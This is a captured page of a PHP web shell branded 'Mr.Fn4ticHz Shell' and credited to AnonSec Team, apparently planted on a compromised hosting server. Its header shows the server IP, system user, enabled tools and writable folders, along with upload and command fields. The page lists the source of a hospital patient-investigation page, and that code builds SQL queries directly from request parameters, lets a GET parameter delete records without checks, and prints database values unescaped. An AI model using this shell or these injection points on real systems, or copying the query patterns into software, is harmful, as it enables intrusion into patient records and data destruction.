Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.144.242.235
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/opdslip2.php
<?php session_start();
require_once("../patientmanager.php");
require_once("../DBManager.php");
if(isset($_POST[investig])) {
PatientManager::nayainvestigation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[hospital_id]","$_POST[Raised_at]","$_POST[Investigation_type]","$_POST[Category]","$_POST[Sub_Category]","$_POST[Priority_slip]","$_POST[Investigation]","$_POST[ivid]","$_POST[Result]","$_POST[Evidence]","$_POST[enteredby]");
}
?>
<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM investigation WHERE id='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}
?>

   <script>
   
function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
   
   function myFunction3() {
  var checkBox = document.getElementById("myCheck3");
  var text = document.getElementById("text3");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}

</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />

   	<div class='center'>
<link rel="stylesheet" href="select2.min.css" />
<style>
.select2-dropdown {top: 22px !important; left: 8px !important;}
</style>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

<h3 align="center">Investigation</h3>
<form method="post"name="investig">
	<table id="example2" class="table table-bordered table-hover">  
	<thead>
	    <input type='hidden' name='Raised_at' value='Opd Slip'>
	    <tr>
	        <td>
            <input type="checkbox" name="Investigation_type" value='Radiology' id="myCheck2" onclick="myFunction2()"><td><span>Radiology</span></td></td>
            </tr>
<tr>
	        <td>
            <input type="checkbox" name="Investigation_type" value='Pathology' id="myCheck3" onclick="myFunction3()"></td><td><span>Pathology</span></td>
            </tr>
            </table>
	
            	  <div id="text2" style="display:none">
            	    
            	    
            	<table id="example2" class="table table-bordered table-hover"> 
                      <tr>  <td></td>
                    <td>
                        <select  onchange="LOADivnvi(this.value)" name="Investigation">
        	<option value="">Search</option>
        	
        	
        			<?php
				session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
$sql ="SELECT * FROM list_Investigation Where labdepartmentid='Unspecified' AND adminid='$re[entered_by]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
	    echo "<option value='$rs[ivid]'>$rs[Investigation]</option>";
				}
		}
		  ?>
</td>
</select>
        </tr>
            

         </table> 
         <div id='preinvID'>
             
             	<table id="example2" class="table table-bordered table-hover">
        
	    <tr>
        <td>Select Investigation</td>
        <td>
<select onchange="BODYPARLOAD(this.value)" name="Category">
<option value="" selected="selected">Select Investigation</option>
<option value="10">Ultrasound & Doppler</option>
<option value="11">MRI</option>
<option value="12">CT + 3D</option>
<option value="13">X RAYS</option>
<option value="14">Fluoroscopy</option>
<option value="15">Mammography</option>
<option value="16">Biometry</option>
</select>
</td></tr>
<tr><td>Body Part</td><td id='BODYPARTID'>
</td></tr>

<tr>
     <td>Request Investigation</td>
     <td id='RADIOBODYID'>
</td></tr>

</table>
</div>
         </div>   <div id="text3" style="display:none">
             
                 
     
               	<table id="example2" class="table table-bordered table-hover"> 
                    <tr>  <td>Request Investigation</td>
                    <td>
                        <select  name="ivid">
        	<option value="">Investigation</option>
                        <?php
include("dbconnection.php");
	$sqlpatient1 = "SELECT * FROM list_Investigation";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo "<option value='$rsn[ivid]'>$rsn[Investigation]</option>";
				}
	
		  ?>
</td>
</select>
        </tr>
        </table>
        </div>
     
        	<table id="example2" class="table table-bordered table-hover"> 
        
         <tr>
          <td>Priority slip </td>
            <td><select name="Priority_slip">
                	<option value="">Priority slip </option>
	<option value="Urgent">Urgent </option>
	<option value="Normal">Normal </option>
	</td>
	</tr>
	
                           <?php
    include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
	    echo"
        <input type='hidden' name='hospital_id' value='$re[entered_by]'> 
        ";
	}
        ?>
        <tr><td></td><td>
           <input type="submit" value="Add" name="investig"></td></tr>
    </form>
</div>

</table>


<table id="example2"  id ="demo" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  <div id="listingTable">
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
         <th><strong>Date Time</strong></th>
         <th><strong>Investigation</strong></th>
          <th><strong>Result</strong></th> 
          <th><strong>Evidence</strong></th>
               <th><strong>Action</strong></th>
                       </tr>
                  </thead>
                  
               
                 
<?php
   include("dbconnection.php");
			$sql ="SELECT * FROM investigation WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[created_at]</td>     
            <td>&nbsp;";
	   if (is_numeric($rs[Category]))
{
$sql1 ="SELECT * FROM labdepartment WHERE labdepartmentid='$rs[Category]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "$rh1[lab_department_name]";
}

   if (is_numeric($rs[Sub_Category]))
{
$sql1 ="SELECT * FROM radiobodypart WHERE radiobodypartid='$rs[Sub_Category]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "-  &nbsp; $rh1[bodypart]";
}
   if (is_numeric($rs[Sub_Category]))
{
$sql1 ="SELECT * FROM list_Investigation WHERE ivid='$rs[Investigation]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "-  &nbsp; $rh1[Investigation]";
}

            $sqlpatient1 = "SELECT * FROM list_Investigation WHERE ivid='$rs[ivid]' OR ivid='$rs[Investigation]' AND labdepartmentid='Unspecified'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
	    $rsn[Investigation]"; }
	    echo"</b></td>
           <td>&nbsp;$rs[Result]</td>
		   <td>&nbsp;$rs[Evidence]</td>
		 <td><a href='opdset.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&delid=$rs[id]'>Delete</a></td>

	
          </tr>                   
          
     ";
}
?>  
   </tbody>
</table>  
</div>


 <script>
 function BODYPARLOAD(BODYid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("BODYPARTID").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadiv.php?BODYid="+BODYid,true);
        xmlhttp.send();
}
            
     
</script>
  
   <script>
 function RADIOBODYLOAD(RADIOBODY)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("RADIOBODYID").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadbodyiv.php?RADIOBODY="+RADIOBODY,true);
        xmlhttp.send();
}
            
      $(document).ready(function () {
      $('select').selectize({
          sortField: 'text'
      });
  });
</script>

 
  <script>
 function LOADivnvi(invid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("preinvID").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loadinvi.php?invid="+invid,true);
        xmlhttp.send();
}
</script>
  
  <head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />
</head>
  <script>
 $(document).ready(function () {
      $('select12').selectize({
          sortField: 'text'
      });
  });
  </script>

Anon7 - 2022
AnonSec Team